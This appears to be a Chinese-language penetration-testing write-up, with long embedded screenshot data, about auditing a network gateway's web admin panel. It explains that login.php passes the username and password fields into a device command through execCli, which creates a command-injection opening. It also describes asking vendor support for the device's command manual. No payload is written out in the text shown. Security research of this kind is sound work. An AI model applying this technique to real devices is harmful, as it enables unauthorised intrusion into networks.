/aUALN9Kax1MN2ZR3J1EcubAgCAgzsf4/WE5czLns2QCs/N0IXZeSQ3bOS5HbXt/i04LppBFntZ/X6JL51rx39RnF7A5HNzobK0zc+25Jn18BfMSQ2+P1u7hp8vLeqWm5iz547CQQ0lz33uO47jaz6kPHs6Iy46F7Z7viNTs5eN/z2AeTeNZMSEPWxlEuOzDe4NHwa0cIaan00bQ87lA3BveDsg4DTbP2RbjLubhVP/bNJVXDNqEEf2PRlw420qX2Il3gAgtPrn2dJxfSaMdMaUsnI9AXXZteNtykctIGtoKhuOuQLSB7S0Vexi/+QxDEpKhUpPulD/PkIRy3ofC+HUq0h/bwx0MAgo/7wE71PHlvtwHTsEDCZlIHCsqWWUIk+LatPnvZMohXv982+ZNcbF3urDTB4VWsDryyMO60tNrQtyJjBxWBEVFV3IaFgGDsDVYUIRkZ6lU91xw2FtLcX7aNWilnZOIt7g7fwRDtJwsWJTQ/QmEBqczuSBUPOJu9Wmdw64KJjp4LLBZXza9Cg6lOMIhbelkX3/HjDBjzH7+OowMGgE/a31BYCm5C4OjNvJiIW7ceLpOrtz/b5O5XfWRdM4k3f5eN3eDs/zV4c+DvmYIiotlTRj2N7O+BZT+RKPVDR39zIZC1l644ygXbj8b6xo2MPeo8BAvwQDc8hKgPrq1j/huz7fy7zJ2YwZuB7X0RxGpkN9WWm7T+e93eqofrtpLFdTmY2LOjeQ6GCItSE/4TemkpX338LK9hOFlFc4rE3EkT0A9pZRE3QSjkQSrfVNvGG2f8j2i65h/E3XMg9P19n31ro7ld/ZuWkkUEPJmuM9ckKxUOufY2g2yexldXtBWaj1r+m9DutzmOlCZe0e9gf5k0xO8Nz+Whva30eoYlXvYymc61qoOvreADjq4jAwMkjLu4+7jnoGN+Xp+a7hQsbaEnYBcJh6d+eufwF1Fc8DmOU7Cev7jcf68llVDcZMIDUN6EIQOmzSBFLZztrNaEioiMSVbg9CQ5F5zllAQ0z2XVXfQHSv3BdwZgqYwcuYXLis1VZrh3Em8KXfe4f/4wGSveNA33qdwPKGnt+ZgzOBv4ZUyjMHXwDs6zBdd7C2ltoOhtoa4+KddUUkL1gAZRsZNCoP56xCsvY96RuXFI7ILYXgWVrBJC7k/gULW221Nrwn/LGTSEIKmMEXM/fRi1tttXYAAwD/RzjVz20l1TsO9I3PCTyfLine truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>再次回看,复盘分析,去群里问,去百度,谷歌搜索,我坐下来再次思考,这是一套网络设备的web管理系统,里面的许多功能更多地是以web的方式展示设备的各项数据,再加上除了login.php,其他功能点也有很多用了execCli这个函数,因此大胆猜测,这里执行的应该是网关设备的命令,类似于路由器命令。</p>
|
||||
</li>
|
||||
<li>
|
||||
<p>假如你是一名运维小哥,那么看到这里也许你心里已经自动有了Payload,然而,在此之前我从未接触过这种网络设备的命令都有什么,也不知道不同的设备有没有通用的命令,因此我还是回归渗透测试的视角,进入官网点击客服,开始社工!(小小的咨询)</p>
|
||||
<p><img src="data:image/png;base64,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 truncated
|
||||
</li>
|
||||
<li>
|
||||
<p>三下五除二拿到了设备命令手册,详细地看了下,发现了许多敏感命令,例如直接操作更改设备相关信息,更改ip信息,更改路由等等,结合百度,发现了一些没有危害的命令: Show命令,主要用于返回信息。</p>
|
||||
<p><img src="data:image/png;base64,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 truncated
|
||||
</li>
|
||||
</ol>
|
||||
<h3 blockindex=7>复现开始</h3>
|
||||
<ol blockindex=8>
|
||||
<li>
|
||||
<p>经过审计阶段,我们如今已经知道login.php存在命令执行,POST请求的username和password参数最终会被拼到webmaster命令里,最终到后端设备会执行webmaster username password 命令,之后后端会再将执行的结果返回给前端,如果成功,那么直接返回1,如果不成功,会返回错误+报错信息,如下我画了一张图,举例:如果让username=abc, password=bcd, 那么程序的命令执行过程是这样的:</p>
|
||||
<p><img src="data:image/png;base64,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